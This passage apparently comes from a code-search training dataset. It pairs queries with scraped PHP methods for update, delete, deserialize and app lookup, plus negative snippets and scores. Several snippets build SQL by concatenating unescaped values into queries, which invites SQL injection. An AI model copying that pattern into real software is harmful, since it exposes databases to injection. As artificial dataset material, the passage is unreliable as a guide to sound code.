\".$this->originalValues[$kolomIndex];\n\n\t\t\t$this->lastQuery = $updateQuery;\n\n $updateTable = $this->mysqlConnection->prepare($this->lastQuery);\n $updateTable->execute($paramArray);\n\n\t\t}", "public function update() {\n \n }", "protected function beforeUpdating()\n {\n }", "public function commitUpdate();", "public static function update(){\r\n }", "public function update($data)\n {\n }", "public function update($data)\n {\n }", "public function update($data)\n {\n }", "public function update($data)\n {\n }", "public function testUpdatePayslipByID()\n {\n }", "public function setToUpdate()\n\t{\n\t\t$this->todo = 2 ;\n\t}", "function addUpdate() {\n\t\tif ($this->id) $this->update();\n\t\telse $this->insert();\n\t}", "private function Update() {\n $Update = new Update;\n $Update->ExeUpdate(self::Entity, $this->Data, \"WHERE id = :id\", \"id={$this->Post}\");\n if ($Update->getResult()):\n $this->Error = [\"As informações de <b>contato</b> foram atualizadas com sucesso!\", WS_ACCEPT];\n $this->Result = true;\n endif;\n }", "protected function _postUpdate()\n\t{\n\t}", "public function testUpdateExtraFields(): void { }", "abstract public function mass_update();", "public function update(){\n\t\techo $sql = \"update \".self::$tablename.\" set title=\\\"$this->title\\\",description=\\\"$this->description\\\",skills=\\\"$this->skills\\\",area_id=$this->area_id,jobtype_id=$this->jobtype_id,jobperiod_id=$this->jobperiod_id,duration=$this->duration,is_public=$this->is_public,is_finished=$this->is_finished,created_at=$this->created_at where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}", "private function update()\n {\n $queryString = 'UPDATE ' . $this->table . ' SET ';\n foreach ($this->data as $column => $value) {\n if ($column != self::ID) {\n $queryString .= $column . ' =:' . $column . ',';\n }\n }\n $queryString .= ' updated_at = sysdate() WHERE 1 = 1 AND ' . self::ID . ' =:' . self::ID;\n $this->query = $this->pdo->prepare($queryString);\n }", "public function testUpdatePayslip()\n {\n }", "public function Update($data) {\n\n }", "public function update() {\n\t\treturn;\n\t}", "public function update($id) //Ändra befintlig boking\n\t{\n\t\t//\n\t}", "public function update() {\n\t\tif (isset($this->params['updated'])) {\n\t\t\t$this->params['updated'] = null;\n\t\t} // 'updated' is an auto timestamp\n\n\t\t$columns = array();\n\t\tforeach (array_keys($this->params) as $key) {\n\t\t\tarray_push($columns, $key . ' = ?');\n\t\t}\n\t\t$bindings = implode(', ', $columns);\n\t\t$sql = 'UPDATE ' . static::$table . ' SET ' . $bindings . ' WHERE id = ' . $this->get('id') . ' ;';\n\t\t$query = DBH()->prepare($sql);\n\t\t$query->execute(array_values($this->params));\n\t}", "public function update(){\n\t//\tprint_r($this->country);\n\t\t$sql = \"update \".self::$tablename.\" set name=\\\"$this->name\\\",description=\\\"$this->description\\\",tags=\\\"$this->tags\\\",area_id=\".$this->area_id.\",image=\\\"$this->image\\\",created_at=$this->created_at,is_public=$this->is_public,price=$this->price where id=\".$this->id;\n\t\tExecutor::doit($sql);\n\t}", "public function update($mambot);", "function update () {\n\t\t$stm = DB::$pdo->prepare(\"update `generated_object` \n\t\t\t\t\t\t\t\t set {$generator_update_values} \n\t\t\t\t\t\t\t\t where `id`=:id\");\n\t\t// generator bind hook\n\t\t$stm->bindParam(':id', $this->id);\n\t\t$stm->execute();\n\t}", "protected function _update()\n\t{\n\t\t$this->date_modified = \\Core\\Date::getInstance(null,\\Core\\Date::SQL_FULL, true)->toString();\n\t\t$this->last_online = $this->date_modified;\n\t}", "public function updateRecord() \n {\n $str = \"Id = :Id\";\n array_walk($this->arrayKeysValues(), function ($value, $key) use (&$str) {\n $str .= \", $key = :$key\";\n });\n $sql = sprintf(\"UPDATE Cubans SET %s WHERE Id = :Id\", $str);\n $statement = $this->connect->prepare($sql);\n $statement->execute(array_merge([\":Id\" => $this->id], $this->arrayKeysValues()));\n }", "function update(){\n\t\t$this->model->update();\n\t}", "public function testUpdateServiceData()\n {\n\n }", "public function update() {\n global $DB;\n $record = array(\n 'sortorder' => $this->sortorder,\n 'criterion' => $this->criterion,\n 'addinfo' => json_encode($this->addinfo)\n );\n if ($this->id) {\n $record['id'] = $this->id;\n $DB->update_record($this->get_table_name(), $record);\n } else {\n $record['instantquizid'] = $this->instantquiz->id;\n $this->id = $DB->insert_record($this->get_table_name(), $record);\n }\n }" ]
[ "0.79925096", "0.79026407", "0.781918", "0.781918", "0.75774413", "0.75716734", "0.7546047", "0.7475939", "0.74518955", "0.7446066", "0.7446066", "0.7446066", "0.7446066", "0.74398196", "0.7434002", "0.7434002", "0.73949647", "0.73949647", "0.73297805", "0.7302855", "0.73012066", "0.73012066", "0.72727656", "0.72558504", "0.72495663", "0.72495663", "0.723508", "0.7205136", "0.72031844", "0.72031844", "0.72031844", "0.72031844", "0.72031844", "0.72031844", "0.72031844", "0.72031844", "0.72031844", "0.72031844", "0.72031844", "0.72031844", "0.7163503", "0.7158299", "0.71519464", "0.71506727", "0.71112996", "0.71091723", "0.7105839", "0.7105839", "0.7102313", "0.70898706", "0.70481145", "0.70405316", "0.70405316", "0.7033959", "0.7031954", "0.70187926", "0.7010272", "0.70092964", "0.70047945", "0.70047945", "0.69988096", "0.6984049", "0.6976637", "0.6965775", "0.6950647", "0.69494176", "0.6946345", "0.6932435", "0.6927628", "0.69173676", "0.6917032", "0.6889568", "0.6882895", "0.6880597", "0.6880483", "0.6872839", "0.6872839", "0.6872839", "0.6872839", "0.68658674", "0.6860868", "0.6834365", "0.68136746", "0.6803737", "0.6794587", "0.67941296", "0.6789963", "0.6784282", "0.67603254", "0.67503434", "0.67404366", "0.6739884", "0.67376786", "0.67214423", "0.671999", "0.67191696", "0.6714993", "0.67133576", "0.6709045", "0.6682985", "0.6672572" ]
0.0
-1
metodo que sirve para hacer delete
public function deleteAll($id) { if(! intval( $id )){ return false; } $id = $this->db->real_escape_string($id); $sql = "DELETE FROM servicio_paquete WHERE id_serviciopaquete=".$id.";"; $row = $this->db->query($sql); if(!$row){ return false; }else{ return true; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function delete() {\n\t}", "public function deleting()\n {\n # code...\n }", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "function delete()\n {\n }", "public function delete()\r\n\t{\r\n\t}", "public function delete()\n\t{\n\t}", "public function delete() {\r\n }", "public function delete()\n {\n //\n }", "public function actionDelete() {}", "public function actionDelete() {}", "public function delete()\n {\n \n }", "function delete() {\n $this->that->delete($this->id, $this->name);\n $this->put_id();\n }", "abstract public function delete();", "abstract public function delete();", "abstract public function delete();", "abstract public function delete();", "public static function delete() {\n\n\n\t\t}", "protected function _delete()\n\t{\n\t}", "public function delete() {}", "public function delete() {}", "public function delete() {}", "public function delete() {}", "function delete()\n\t{\n\t\tSQL::query(\"delete from {$this->_table} where id = {$this->_data['id']}\");\n\t}", "public function DELETE() {\n #\n }", "function delete() ;", "function delete() ;", "public abstract function delete();", "public static function delete() {\r\n\t\t\r\n\t}", "protected function _postDelete() {}", "protected function _postDelete() {}", "function delete()\r\n {\r\n\r\n }", "public function delete(){\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n }", "public function delete()\n {\n \n }", "public function delete()\n {\n\n }", "public function index_delete(){\n\t\t\n\t\t}", "public function delete() {\n\n }", "function delete() \n {\n \n }", "public function delete(){\n if (isset($this->content[$this->idField])) {\n\n $sql = \"DELETE FROM {$this->table} WHERE {$this->idField} = {$this->content[$this->idField]};\";\n $delet = new \\AR\\BD\\Delete();\n $delet->ExeDelete($this->table, \"WHERE {$this->idField} = {$this->content[$this->idField]}\", \"\");\n \n }\n }", "public function deleteAction() {\n \n }", "public function delete(){\r\n\t\t// goi den phuong thuc delete cua tableMask voi id cua man ghi hien hanh\r\n\t\t$mask = $this->mask();\r\n\t\treturn $mask->delete(array($mask->idField=>$this->id));\r\n\t\t// $query = \"DELETE FROM $this->tableName WHERE id='$this->id'\";\r\n\t\t// $conn = self::getConnect()->prepare($query);\r\n\t}", "public static function delete(){\r\n }", "public function delete() {\n $conexion = StorianDB::connectDB();\n $borrado = \"DELETE FROM cuento WHERE id=\\\"\".$this->id.\"\\\"\";\n $conexion->exec($borrado);\n }", "function delete() {\n\t\n\t\t$this->getMapper()->delete($this);\n\t\t\n\t}", "function delete() {\n \tglobal $mysql;\n \tif(empty($this->id)) return;\n \t$tablename = $this->class_name();\n \t$id = $this->id;\n \t$query = \"DELETE FROM $tablename WHERE id=$id\";\n \t$mysql->update($query);\n }", "public function del()\n {\n }", "function delete()\n {\n }", "private function delete(){\n\t\t$id = $this->objAccessCrud->getId();\n\t\tif (empty ( $id )) return;\n\t\t// Check if there are permission to execute delete command.\n\t\t$result = $this->clsAccessPermission->toDelete();\n\t\tif(!$result){\n\t\t\t$this->msg->setWarn(\"You don't have permission to delete!\");\n\t\t\treturn;\n\t\t}\n\t\tif(!$this->objAccessCrud->delete($id)){\n\t\t\t$this->msg->setError (\"There was an issue to delete, because this register has some relation with another one!\");\n\t\t\treturn;\n\t\t}\n\t\t// Cleaner all class values.\n\t\t$this->objAccessCrud->setAccessCrud(null);\n\t\t// Cleaner session primary key.\n\t\t$_SESSION['PK']['ACCESSCRUD'] = null;\n\n\t\t$this->msg->setSuccess (\"Delete the record with success!\");\n\t\treturn;\n\t}", "public function delete() {\n\t\t$this->deleted = true;\n\t}", "public function delete(){\n $db = Database::getInstance() ;\n $db->query(\"DELETE FROM canciones WHERE idcancion=:idcan ;\",\n [\":idcan\"=>$this->idcancion]) ;\t\t\t\t \n }", "public function delete(){ return false; }", "public function delete(){ return false; }", "public function delete(){ return false; }", "public function delete(){ return false; }", "public function delete(){\n \t\ttry{\n \t\t\t$db = DB::get();\n \t\t\t$sql = \"UPDATE t_\" . self::$Table . \" \n \t\t\t\t\tSET \" . self::$Table . \"_supprime='1' \n \t\t\t\t\tWHERE \" . self::$Table . \"_id = '\".$this->Id.\"' \";\n \t\t\n \t\t\t$result = $db->query($sql);\n \t\t}\n \t\tcatch(Exception $e){\n \t\t\tvar_dump($e->getMessage());\n \t\t}\n }", "function delete() {\n\n }", "public function Do_delete_Example1(){\n\n\t}", "function delete() {\n $fetchPrimary = $this->mysqlConnection->query(\"SHOW INDEX FROM \".$this->table);\n $arrayIndex = $fetchPrimary->fetch(PDO::FETCH_ASSOC);\n $kolomIndex = $arrayIndex['Column_name'];\n\n\t\t\t// Delete het huidige record.\n\n\t\t\t$deleteQuery = \"DELETE FROM \".$this->table.\" WHERE \".$kolomIndex.\" = \".$this->originalValues[$kolomIndex];\n\t\t\t$this->lastQuery = $deleteQuery;\n\n $deleteTable = $this->mysqlConnection->prepare($this->lastQuery);\n $deleteTable->execute();\n\n\t\t}", "public function delete () {\n $this->db->delete('emprestimos', array('id_emprestimo' => $this->id_emprestimo));\n }", "public function deleteAction()\n {\n \n }", "function delete() {\n }", "abstract function delete();", "public function delete(){\n $record = actualite::find($this->selectedId);\n $record->delete();\n\n /* update image file */\n Storage::delete('public/_actualite/'.$this->selectedId.'.png');\n /* $this->photo->storePubliclyAs('public/_actualite/'.$this->selectedId.'.png'); */\n\n session()->flash('message', 'actualite modifié avec succès');\n $this->emit('Deleted');\n $this->dispatchBrowserEvent('Deleted');\n $this->resetFields();\n }", "public function delete()\n {\n try {\n parent::delete(null, $this->data['id']);\n } catch (Exception $e) {\n die('ERROR');\n }\n }", "final public function delete() {\n global $config; \n # Borrar el elemento de la base de datos\n $this->db->query(\"DELETE FROM guarderia_2 WHERE id_guarderia = $this->id\");\n # Redireccionar a la página principal del controlador\n $this->functions->redir($config['site']['url'] . 'sedes/&success=true');\n }", "public function preDelete() { }", "function onDelete($param)\n {\n $key=$param['key'];\n \n // define duas acoes\n $action1 = new TAction(array($this, 'Delete'));\n \n // define os parametros de cada acao\n $action1->setParameter('key', $key);\n \n //encaminha a chave estrangeira\n $action1->setParameter('fk', filter_input(INPUT_GET, 'fk'));\n\n // exibe um dialogo ao usuario\n new TQuestion('Deseja realmente excluir o registro ?', $action1, $action2);\n }", "function delete($id);", "public function undeleteAction(){\n\t}", "public function delete()\n\t{\n\t\tif (!$this->auth($_SESSION['leveluser'], 'detailfasilitaskesehatan', 'delete')) {\n\t\t\techo $this->pohtml->error();\n\t\t\texit;\n\t\t}\n\t\tif (!empty($_POST)) {\n\t\t\t$query = $this->podb->deleteFrom('detailfasilitaskesehatan')->where('id', $this->postring->valid($_POST['id'], 'sql'));\n\t\t\t$query->execute();\n\t\t\t$this->poflash->success('Detailfasilitaskesehatan has been successfully deleted', 'admin.php?mod=detailfasilitaskesehatan');\n\t\t}\n\t}", "public function delete($id) {\r\n \r\n }", "protected function _preDelete() {}", "public function delete() {\n\t\tif ($this->checkDependencies() == true ) {\n\t\t\t$sql = \"DELETE FROM \".$this->tablename.\" where \".$this->idcol.\" = \".$this->page->ctrl['record'];\n\t\t\t$this->dbc->exec($sql);\n\t\t}\n\t}", "public function delete()\n {\n // TODO: Implement delete() method.\n }", "public function delete(): void\n {\n }", "function delete() {\n $this->db->delete(self::table_name, array('id' => $this->id));\n // need to delete from tag maps too\n // tbd\n }", "public function delete(){\n return (new Database('cliente'))->delete('id = '.$this->id);\n }", "public function forceDelete();" ]
[ "0.7961053", "0.79557383", "0.79484385", "0.79484385", "0.79484385", "0.79484385", "0.79484385", "0.79484385", "0.79484385", "0.79484385", "0.79484385", "0.79484385", "0.79484385", "0.79484385", "0.79484385", "0.79484385", "0.79484385", "0.7943319", "0.7913217", "0.7837486", "0.7817111", "0.77945215", "0.7791651", "0.7791651", "0.77793926", "0.777418", "0.77724916", "0.77724916", "0.77724916", "0.77724916", "0.77678835", "0.7766531", "0.7754516", "0.775399", "0.77539176", "0.77539176", "0.7742781", "0.7736815", "0.77350056", "0.77350056", "0.77340287", "0.77239776", "0.77136505", "0.7712619", "0.7708717", "0.7694313", "0.7689248", "0.7689248", "0.7689248", "0.7689248", "0.7689248", "0.7689248", "0.7689248", "0.7689248", "0.7689248", "0.7689248", "0.7681605", "0.7655417", "0.76180416", "0.76118463", "0.7596064", "0.75856125", "0.75765926", "0.7561613", "0.75502324", "0.75479835", "0.75468683", "0.7534841", "0.7517658", "0.7510022", "0.7489221", "0.74834734", "0.7479906", "0.7476518", "0.7476518", "0.7476518", "0.7476518", "0.74753165", "0.74671817", "0.74646336", "0.7453665", "0.74465954", "0.74426717", "0.7435224", "0.7425175", "0.74178", "0.74031407", "0.740307", "0.7399978", "0.73868704", "0.73723423", "0.7371046", "0.7364518", "0.73600006", "0.73591864", "0.7350417", "0.73437923", "0.7340765", "0.73096067", "0.7304528", "0.7303266" ]
0.0
-1
For internal only. DO NOT USE IT.
public function deserialize($param) { if ($param === null) { return; } if (array_key_exists("LoadBalancerId",$param) and $param["LoadBalancerId"] !== null) { $this->LoadBalancerId = $param["LoadBalancerId"]; } if (array_key_exists("SlaType",$param) and $param["SlaType"] !== null) { $this->SlaType = $param["SlaType"]; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function __init__() { }", "private function __() {\n }", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "private function __construct()\t{}", "private function init()\n\t{\n\t\treturn;\n\t}", "final private function __construct() {}", "final private function __construct() {}", "final private function __construct(){\r\r\n\t}", "final private function __construct() {\n\t\t\t}", "final private function __construct() { }", "final private function __construct() { }", "final private function __construct() { }", "private function _i() {\n }", "protected function fixSelf() {}", "protected function fixSelf() {}", "protected final function __construct() {}", "protected function initialize() {}", "protected function initialize() {}", "protected function initialize() {}", "protected function initialize() {}", "protected function init()\n\t{\n\t\t\n\t}", "private function __construct() {\r\n\t\r\n\t}", "private function __construct() {\r\n\t\t\r\n\t}", "protected function init() {return;}", "final private function __construct()\n\t{\n\t}", "private function __construct () {}", "final private function __construct()\n {\n }", "private final function __construct() {}", "public function helper()\n\t{\n\t\n\t}", "public function __init(){}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct()\n\t{\n\t\t\n\t}" ]
[ "0.6264963", "0.61523867", "0.59889513", "0.59889513", "0.59889513", "0.59889513", "0.59884864", "0.59884864", "0.59884864", "0.59884864", "0.59884864", "0.59884864", "0.598747", "0.598747", "0.5948157", "0.59385115", "0.5915636", "0.5915636", "0.5869959", "0.58661526", "0.58544475", "0.58544475", "0.58544475", "0.5799414", "0.5797522", "0.5797522", "0.57794416", "0.57487714", "0.57487714", "0.57487714", "0.57487714", "0.5745254", "0.5740631", "0.5711875", "0.570142", "0.56930804", "0.5678932", "0.56732434", "0.5666765", "0.56396747", "0.5639252", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5625189", "0.5624394", "0.5622053", "0.5622053", "0.56094563" ]
0.0
-1
Get application from name
public function getApp($appName) { /** @var array $apps */ $apps = $this->options->get('apps'); if (!is_array($apps)) { ConfigurationException::message('Please provide configuration for your podio application'); } $matchedApp = null; foreach ($apps as $app) { if (!isset($app['name']) || $app['name'] != $appName) { continue; } $matchedApp = $app; } if (!$matchedApp) { ConfigurationException::missingApp($appName); } return $matchedApp; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function GetAppByName($name)\r\n {\r\n return AppHelper::GetByName($this->Core, $name);\r\n }", "static public function GetApp($name = null) {\r\n if (is_null($name)) {\r\n if (count(self::$_apps) == 1)\r\n return array_pop(self::$_apps);\r\n \r\n elseif (count(self::$_apps) > 1)\r\n throw new Exception('Application name is not provided.');\r\n \r\n else\r\n throw new Exception('There is no any application created.');\r\n }\r\n \r\n if (!array_key_exists($name, self::$_apps))\r\n throw new Exception(Tii::Out('The application (%s) is not found.',$name));\r\n \r\n return self::$_apps[$name];\r\n }", "public function getApp()\n {\n return $this['app.name'];\n }", "public function getAppName()\n {\n return $this->get(self::APP_NAME);\n }", "public function getApplicationName();", "abstract public function getApplicationName();", "function get_application_name()\r\n {\r\n return self :: APPLICATION_NAME;\r\n }", "function get_application_name()\r\n {\r\n return self :: APPLICATION_NAME;\r\n }", "function get_application_name()\r\n {\r\n return self :: APPLICATION_NAME;\r\n }", "protected function get($name)\n {\n return $this->app->{$name};\n }", "public function getAppName()\n {\n return $this->app_name;\n }", "function app($name = null)\n {\n return null === $name ? App::make('app') : App::make($name);\n }", "public function getApplicationName()\n\t{\n\t\treturn $this->config->get('rocketeer::application_name');\n\t}", "public function getApp();", "public function getAppName()\r\n\t{\r\n\t\treturn $this->_appName;\r\n\t}", "public function getAppName()\n {\n return $this->appName;\n }", "public function get_name_application(){\n\t\treturn $this->search_application;\n\t}", "function packagename()\r\n{\r\n\treturn app('packagename');\r\n}", "public function &getAppInstance(string $name)\n {\n if (empty($name)) {\n Throw new FrameworkException('Core::getAppInstance() needs an app name');\n }\n\n $string = new CamelCase($name);\n $name = $string->camelize();\n\n // App instances are singletons!\n if (!array_key_exists($name, $this->apps)) {\n\n // Create class name\n $class = '\\Apps\\\\' . $name . '\\\\' . $name;\n\n //\n $filename = $this->basedir . str_replace('\\\\', DIRECTORY_SEPARATOR, $class) . '.php';\n\n if (!file_exists($filename)) {\n Throw new FrameworkException(sprintf('Apps could not find an app classfile \"%s\" for app \"%s\"', $name, $filename));\n }\n\n // Default arguments for each app instance\n $args = [\n $name,\n $this->config->createStorage($name),\n $this\n ];\n\n $instance = $this->di->instance($class, $args);\n\n if (!$instance instanceof AbstractApp) {\n Throw new FrameworkException('Apps must be an instance of AbstractApp class!');\n }\n\n $instance->setName($name);\n $instance->language->setCode($this->config->get('Core', 'site.language.default'));\n\n $this->apps[$name] = $instance;\n }\n\n return $this->apps[$name];\n }", "function getApplication();", "public function getApplication();", "public function getApplication();", "public function getApplication();", "public function getApplication();", "public function getApplication();", "public function getApp($idOrName)\n {\n $apps = $this->getApps();\n\n if (is_numeric($idOrName)) {\n return isset($apps[$idOrName]) ? $apps[$idOrName] : null;\n } else {\n foreach ($apps as $id => $app) {\n if ($app->getAttribute('name') == $idOrName) {\n return $app;\n }\n }\n }\n\n return null;\n }", "protected function asksForApplicationName(): string\n {\n if (empty($name = $this->input->getArgument('name'))) {\n $name = $this->ask('What is your application name?');\n }\n\n if (empty($name)) {\n $name = trim(basename(BASE_PATH));\n }\n\n return Str::lower($name);\n }", "protected function getAppId($app_name)\n {\n // check if app list loaded\n if (!is_array($this->apps)) {\n // load apps from db\n $this->apps = array();\n $apps = $this->db->fetchAll('SELECT * FROM apps');\n foreach ($apps as $app) {\n $this->apps[$app['name']] = (int) $app['id'];\n }\n }\n\n // if app doesn't exist save to db\n if (!isset($this->apps[$app_name])) {\n $this->db->insert('apps', array('name' => $app_name));\n $this->apps[$app_name] = $this->db->lastInsertId();\n }\n\n return $this->apps[$app_name];\n }", "public function getApp() {\n return $this->call->getApp();\n }", "public function getUseAppName() \n \t{\n \t\treturn $this->use_appname;\n \t}", "static public function getDefaultApplicationName( )\n {\n return\n empty(self::$_defaultApplication)\n ? self::DEFAULT_APPLICATION\n : self::$_defaultApplication;\n }", "public abstract function getApplication();", "public function getApplicationName() \n\t{\n\t\treturn $this->application_name;\n\t}", "function app_name()\n {\n return config('app.name');\n }", "function app_name()\n {\n return config('app.name');\n }", "function app_name()\n {\n return config('app.name');\n }", "function app_name()\n {\n return config('app.name');\n }", "function app_name()\n {\n return config('app.name');\n }", "function app_name()\n {\n return config('app.name');\n }", "public function getDefaultAppName()\n\t{\n\t\treturn $this->_defaultAppName;\n\t}", "public function getApplication() {\r\n return \\Accelerator\\Application::instance();\r\n }", "public function getApplication() {\n\t\t$instance = $this->getSourceInstance();\n\t\tif ($instance !== null) {\n\t\t\t$application = $instance->unbox()->application;\n\t\t\tif ($application !== null) {\n\t\t\t\treturn $application;\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}", "public function get_app() {\n\t\tif(self::$app)\n\t\t\treturn self::$app;\n\n\t\tglobal $a;\n\t\tself::$app = $a;\n\n\t\treturn self::$app;\n\t}", "public static function get_selected_app()\n\t{\n\t\t$serialized_selected_app = self::get_setting('nr_selected_app');\n\t\tif ($serialized_selected_app != NULL && $serialized_selected_app != '')\n\t\t{\n\t\t\treturn unserialize($serialized_selected_app);\n\t\t}\n\t\treturn NULL;\n\t}", "public function __get($name)\n {\n return $this->app->$name;\n }", "public static function defaultAppName():string {\n\n # Set result\n $result = \"Crazy Project\";\n\n # Get current app path\n $appPath = File::path(\"@app_root\");\n\n # Check app path\n if($appPath){\n\n # Set composer path\n $conposerAppPath = \"$appPath/composer.json\";\n\n # Check composer name\n if(File::exists($conposerAppPath) && ($composerName = Composer::get(\"name\", $conposerAppPath)) !== null)\n\n # Set result\n $result = $composerName;\n\n else\n\n # Extract name from app path\n $result = Strings::getLastString(trim($appPath, \"/\"), \"/\");\n\n }\n\n # Then add space before capital letters\n $result = Process::spaceBeforeCapital($result);\n\n # Return result\n return $result;\n\n }", "public function getApplication($key)\n {\n if(empty($key))\n {\n return false;\n }\n if(array_key_exists($key, $this->applications))\n {\n return $this->applications[$key];\n }\n return false;\n }", "public static function getApp()\n\t{\n\t\treturn static::$app;\n\t}", "public function getApplication( $id )\n\t{\t\n\t}", "public function __get($name)\n\t{\n\t\ttry {\n\t\t\treturn parent::__get($name);\n\t\t}catch (\\Exception $e) {\n\t\t\tif($this->getApp()->$name) {\n\t\t\t\treturn $this->app->$name;\n\t\t\t}else{\n\t\t\t\tthrow $e->getPrevious();\n\t\t\t}\n\t\t}\n\t}", "public function setAppName($name)\n\t{\n\t\t$this->_appName = $name;\n\t}", "function app($abstract = null)\n {\n if (Yaf_Registry::get('app') === null) {\n Yaf_Registry::set('app', new Application([], realpath(dirname(__FILE__))));\n }\n\n if (is_null($abstract)) {\n return Yaf_Registry::get('app');\n }\n\n return Yaf_Registry::get('app')->get($abstract);\n }", "public function getDefaultApp()\n {\n return APPPATH;\n }", "public function getID(): string {\n\t\treturn $this->appName;\n\t}", "public function getApplication()\n {\n return isset($this->application) ? $this->application : null;\n }", "function getAppByClassname( $class_name = ''){\r\n\t\t$data = array();\r\n\t \tif($class_name){\r\n\t\t\t$this->db->where('classname', $class_name);\r\n\t\t\t$this->db->limit(1, 0);\r\n\t\t\t$q = $this->db->get('apps');\r\n\t\t\tif($q->num_rows()){\r\n\t\t\t\t$data = $q->row_array();\r\n\t\t\t}\r\n\r\n\t\t}\r\n\t \treturn $data;\r\n\t }", "public function getApplication(){ \r\n\t\treturn \\Yaf\\Application::app();\r\n\t}", "public function getByName(string $name)\n {\n $params = [\n \"app_name\" => $name\n ];\n\n return $this->http->request(HttpMethods::GET, $this->endpoint, [], $params);\n }", "protected function _getApplication($_pathParts)\n {\n $application = Application::getInstance()->getApplicationById($_pathParts[0]);\n \n return $application;\n }", "public static function getInstance()\n {\n return isset(static::$apps[static::$id]) ? static::$apps[static::$id] : null;\n }", "public function openSearchAppName(): string\n {\n return config('scout.opensearch.appName');\n }", "function getApp($setting) {\n\t\tif (!empty($setting) && !empty($this->_app[$setting]))\n\t\t\treturn $this->_app[$setting];\n\t\telse\n\t\t\treturn null;\n\t}", "public static function qualifyShell($name)\n {\n // Test if the shell exist in the config namespace.\n $class = config('beluga.shell_namespace').'\\\\'.$name;\n\n if (class_exists($class)) {\n return $class;\n }\n\n // Test if the shell exist in the internal shell namespace.\n $class = config('beluga.internal_shell_namespace').'\\\\'.$name;\n\n if (class_exists($class)) {\n return $class;\n }\n\n return $name;\n }", "public function getArgument()\n {\n return 'applications';\n }", "public function getAppType();", "public function getApp()\n\t{\n\t\tif(! self::$_app){\n\t\t if ($this->scopes) $this->config['oauth']['scopes'] = $this->scopes;\n\t\t\tself::$_app = Factory::officialAccount($this->config);\n\t\t}\n\t\treturn self::$_app;\n\t}", "public function getApplication()\n {\n return $this->getHandlerManager()->getApplication();\n }", "public static function is_application_name($name)\r\n {\r\n return (preg_match('/^[a-z][a-z_]+$/', $name) > 0);\r\n }", "public static function getApplication($id)\n\t{\n\t\treturn self::model()->findByPk($id); \n\t}", "public function setAppName($value)\n {\n return $this->set(self::APP_NAME, $value);\n }", "public function getOwnerApp();", "function GetVersionFromName($name)\n {\n $key = array_search($name, $this->OperatingSystems);\n if($key !== false)\n {\n return $key; \n }\n return 0; \n }", "public static function getInstance($name = null)\n\t{\n\t\t// Only create the object if it doesn't exist.\n\t\tif (empty(self::$instance))\n\t\t{\n\t\t\tif (class_exists($name) && (is_subclass_of($name, 'JApplicationCli')))\n\t\t\t{\n\t\t\t\tself::$instance = new $name;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tself::$instance = new JApplicationCli;\n\t\t\t}\n\t\t}\n\n\t\treturn self::$instance;\n\t}", "public function getAppId()\n {\n if (array_key_exists(\"appId\", $this->_propDict)) {\n return $this->_propDict[\"appId\"];\n } else {\n return null;\n }\n }", "public static function getActiveApp()\n {\n return self::$_activeApp;\n }", "public function getApplication()\r\n {\r\n return $this->Application;\r\n }", "public function get_program_name() {\n $program = new program($this->db, $this->program);\n return $program->get_name() . \n (($program->get_version() != null && $program->get_version() != \"\") ? \n (\" (Version \".$program->get_version()).\")\" : \"\");\n \n \n }", "public function getApp()\n {\n return $this->app;\n }", "public function getApp()\n {\n return $this->app;\n }", "public function getApp()\n {\n return $this->app;\n }", "public function getApp()\n {\n return $this->app;\n }", "public function getApp()\n {\n return $this->app;\n }", "public function getApp()\n {\n return $this->app;\n }", "function getApplication() {\n return $this->step->application;\n }", "public function startApp($appname){\r\n if (!isset($this->apps[$appname])) throw new error(\"Application dosen't exists, cannot start\");\r\n $this->app = $this->apps[$appname];\r\n return $this->app->start();\r\n }", 